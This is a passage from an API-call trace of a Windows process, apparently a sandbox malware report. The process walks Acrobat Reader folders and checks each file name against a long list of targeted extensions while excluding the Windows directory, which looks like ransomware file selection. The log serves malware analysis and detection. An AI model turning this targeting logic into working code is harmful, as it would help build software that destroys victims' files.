DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0273.289] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.289] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18813, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0273.289] lstrlenW (lpString="main.css") returned 8 [0273.289] lstrlenW (lpString=".1cd") returned 4 [0273.289] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0273.289] lstrlenW (lpString=".3ds") returned 4 [0273.289] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0273.289] lstrlenW (lpString=".3fr") returned 4 [0273.290] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0273.290] lstrlenW (lpString=".3g2") returned 4 [0273.290] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0273.290] lstrlenW (lpString=".3gp") returned 4 [0273.290] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0273.290] lstrlenW (lpString=".7z") returned 3 [0273.290] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0273.290] lstrlenW (lpString=".accda") returned 6 [0273.290] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0273.290] lstrlenW (lpString=".accdb") returned 6 [0273.290] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0273.290] lstrlenW (lpString=".accdc") returned 6 [0273.290] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0273.290] lstrlenW (lpString=".accde") returned 6 [0273.290] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0273.290] lstrlenW (lpString=".accdt") returned 6 [0273.290] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0273.290] lstrlenW (lpString=".accdw") returned 6 [0273.290] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0273.290] lstrlenW (lpString=".adb") returned 4 [0273.290] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0273.290] lstrlenW (lpString=".adp") returned 4 [0273.290] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0273.290] lstrlenW (lpString=".ai") returned 3 [0273.290] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0273.290] lstrlenW (lpString=".ai3") returned 4 [0273.290] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0273.290] lstrlenW (lpString=".ai4") returned 4 [0273.290] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0273.290] lstrlenW (lpString=".ai5") returned 4 [0273.290] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0273.290] lstrlenW (lpString=".ai6") returned 4 [0273.291] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".ai7") returned 4 [0273.291] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".ai8") returned 4 [0273.291] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".anim") returned 5 [0273.291] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0273.291] lstrlenW (lpString=".arw") returned 4 [0273.291] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".as") returned 3 [0273.291] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0273.291] lstrlenW (lpString=".asa") returned 4 [0273.291] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".asc") returned 4 [0273.291] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".ascx") returned 5 [0273.291] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0273.291] lstrlenW (lpString=".asm") returned 4 [0273.291] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".asmx") returned 5 [0273.291] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0273.291] lstrlenW (lpString=".asp") returned 4 [0273.291] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".aspx") returned 5 [0273.291] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0273.291] lstrlenW (lpString=".asr") returned 4 [0273.291] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0273.291] lstrlenW (lpString=".asx") returned 4 [0273.291] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0273.292] lstrlenW (lpString=".avi") returned 4 [0273.292] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0273.292] lstrlenW (lpString=".avs") returned 4 [0273.292] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0273.292] lstrlenW (lpString=".backup") returned 7 [0273.292] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1 [0273.292] lstrlenW (lpString=".bak") returned 4 [0273.292] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0273.292] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 1 [0273.292] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 0 [0273.292] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0273.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0273.294] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0273.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0273.294] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0273.296] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.296] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0273.297] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0273.297] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0273.297] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0273.297] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0273.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0273.297] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0273.298] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.298] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0273.299] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark") returned 119 [0273.299] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark") returned 1 [0273.299] lstrlenW (lpString="dark") returned 4 [0273.299] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dark") returned -1 [0273.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.299] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark") returned 119 [0273.299] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0273.301] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.301] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdae26b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0273.301] lstrlenW (lpString="rhp_world_icon.png") returned 18 [0273.301] lstrlenW (lpString=".1cd") returned 4 [0273.301] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0273.301] lstrlenW (lpString=".3ds") returned 4 [0273.301] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0273.301] lstrlenW (lpString=".3fr") returned 4 [0273.301] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0273.301] lstrlenW (lpString=".3g2") returned 4 [0273.301] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0273.301] lstrlenW (lpString=".3gp") returned 4 [0273.302] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0273.302] lstrlenW (lpString=".7z") returned 3 [0273.302] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0273.302] lstrlenW (lpString=".accda") returned 6 [0273.302] lstrcmpiW (lpString1=".accda", lpString2="on.png") returned -1 [0273.302] lstrlenW (lpString=".accdb") returned 6 [0273.302] lstrcmpiW (lpString1=".accdb", lpString2="on.png") returned -1 [0273.302] lstrlenW (lpString=".accdc") returned 6 [0273.302] lstrcmpiW (lpString1=".accdc", lpString2="on.png") returned -1 [0273.302] lstrlenW (lpString=".accde") returned 6 [0273.302] lstrcmpiW (lpString1=".accde", lpString2="on.png") returned -1 [0273.302] lstrlenW (lpString=".accdt") returned 6 [0273.302] lstrcmpiW (lpString1=".accdt", lpString2="on.png") returned -1 [0273.302] lstrlenW (lpString=".accdw") returned 6 [0273.302] lstrcmpiW (lpString1=".accdw", lpString2="on.png") returned -1 [0273.302] lstrlenW (lpString=".adb") returned 4 [0273.302] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0273.302] lstrlenW (lpString=".adp") returned 4 [0273.302] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0273.302] lstrlenW (lpString=".ai") returned 3 [0273.302] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0273.302] lstrlenW (lpString=".ai3") returned 4 [0273.302] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0273.302] lstrlenW (lpString=".ai4") returned 4 [0273.302] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0273.302] lstrlenW (lpString=".ai5") returned 4 [0273.302] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0273.302] lstrlenW (lpString=".ai6") returned 4 [0273.302] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0273.302] lstrlenW (lpString=".ai7") returned 4 [0273.302] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0273.302] lstrlenW (lpString=".ai8") returned 4 [0273.303] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".anim") returned 5 [0273.303] lstrcmpiW (lpString1=".anim", lpString2="n.png") returned -1 [0273.303] lstrlenW (lpString=".arw") returned 4 [0273.303] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".as") returned 3 [0273.303] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0273.303] lstrlenW (lpString=".asa") returned 4 [0273.303] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".asc") returned 4 [0273.303] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".ascx") returned 5 [0273.303] lstrcmpiW (lpString1=".ascx", lpString2="n.png") returned -1 [0273.303] lstrlenW (lpString=".asm") returned 4 [0273.303] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".asmx") returned 5 [0273.303] lstrcmpiW (lpString1=".asmx", lpString2="n.png") returned -1 [0273.303] lstrlenW (lpString=".asp") returned 4 [0273.303] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".aspx") returned 5 [0273.303] lstrcmpiW (lpString1=".aspx", lpString2="n.png") returned -1 [0273.303] lstrlenW (lpString=".asr") returned 4 [0273.303] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".asx") returned 4 [0273.303] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".avi") returned 4 [0273.303] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0273.303] lstrlenW (lpString=".avs") returned 4 [0273.303] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".backup") returned 7 [0273.304] lstrcmpiW (lpString1=".backup", lpString2="con.png") returned -1 [0273.304] lstrlenW (lpString=".bak") returned 4 [0273.304] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".bay") returned 4 [0273.304] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".bd") returned 3 [0273.304] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0273.304] lstrlenW (lpString=".bin") returned 4 [0273.304] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".bmp") returned 4 [0273.304] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".bz2") returned 4 [0273.304] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".c") returned 2 [0273.304] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0273.304] lstrlenW (lpString=".cdr") returned 4 [0273.304] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".cer") returned 4 [0273.304] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".cf") returned 3 [0273.304] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0273.304] lstrlenW (lpString=".cfc") returned 4 [0273.304] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".cfm") returned 4 [0273.304] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".cfml") returned 5 [0273.304] lstrcmpiW (lpString1=".cfml", lpString2="n.png") returned -1 [0273.304] lstrlenW (lpString=".cfu") returned 4 [0273.304] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0273.304] lstrlenW (lpString=".chm") returned 4 [0273.305] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".cin") returned 4 [0273.305] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".class") returned 6 [0273.305] lstrcmpiW (lpString1=".class", lpString2="on.png") returned -1 [0273.305] lstrlenW (lpString=".clx") returned 4 [0273.305] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".config") returned 7 [0273.305] lstrcmpiW (lpString1=".config", lpString2="con.png") returned -1 [0273.305] lstrlenW (lpString=".cpp") returned 4 [0273.305] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".cr2") returned 4 [0273.305] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".crt") returned 4 [0273.305] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".crw") returned 4 [0273.305] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".cs") returned 3 [0273.305] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0273.305] lstrlenW (lpString=".css") returned 4 [0273.305] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".csv") returned 4 [0273.305] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".cub") returned 4 [0273.305] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".dae") returned 4 [0273.305] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".dat") returned 4 [0273.305] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0273.305] lstrlenW (lpString=".db") returned 3 [0273.305] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0273.306] lstrlenW (lpString=".dbf") returned 4 [0273.306] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".dbx") returned 4 [0273.306] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".dc3") returned 4 [0273.306] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".dcm") returned 4 [0273.306] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".dcr") returned 4 [0273.306] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".der") returned 4 [0273.306] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".dib") returned 4 [0273.306] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".dic") returned 4 [0273.306] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".dif") returned 4 [0273.306] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".divx") returned 5 [0273.306] lstrcmpiW (lpString1=".divx", lpString2="n.png") returned -1 [0273.306] lstrlenW (lpString=".djvu") returned 5 [0273.306] lstrcmpiW (lpString1=".djvu", lpString2="n.png") returned -1 [0273.306] lstrlenW (lpString=".dng") returned 4 [0273.306] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".doc") returned 4 [0273.306] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0273.306] lstrlenW (lpString=".docm") returned 5 [0273.306] lstrcmpiW (lpString1=".docm", lpString2="n.png") returned -1 [0273.306] lstrlenW (lpString=".docx") returned 5 [0273.306] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0273.306] lstrlenW (lpString=".dot") returned 4 [0273.307] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0273.307] lstrlenW (lpString=".dotm") returned 5 [0273.307] lstrcmpiW (lpString1=".dotm", lpString2="n.png") returned -1 [0273.307] lstrlenW (lpString=".dotx") returned 5 [0273.307] lstrcmpiW (lpString1=".dotx", lpString2="n.png") returned -1 [0273.307] lstrlenW (lpString=".dpx") returned 4 [0273.307] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0273.307] lstrlenW (lpString=".dqy") returned 4 [0273.307] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0273.307] lstrlenW (lpString=".dsn") returned 4 [0273.307] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned 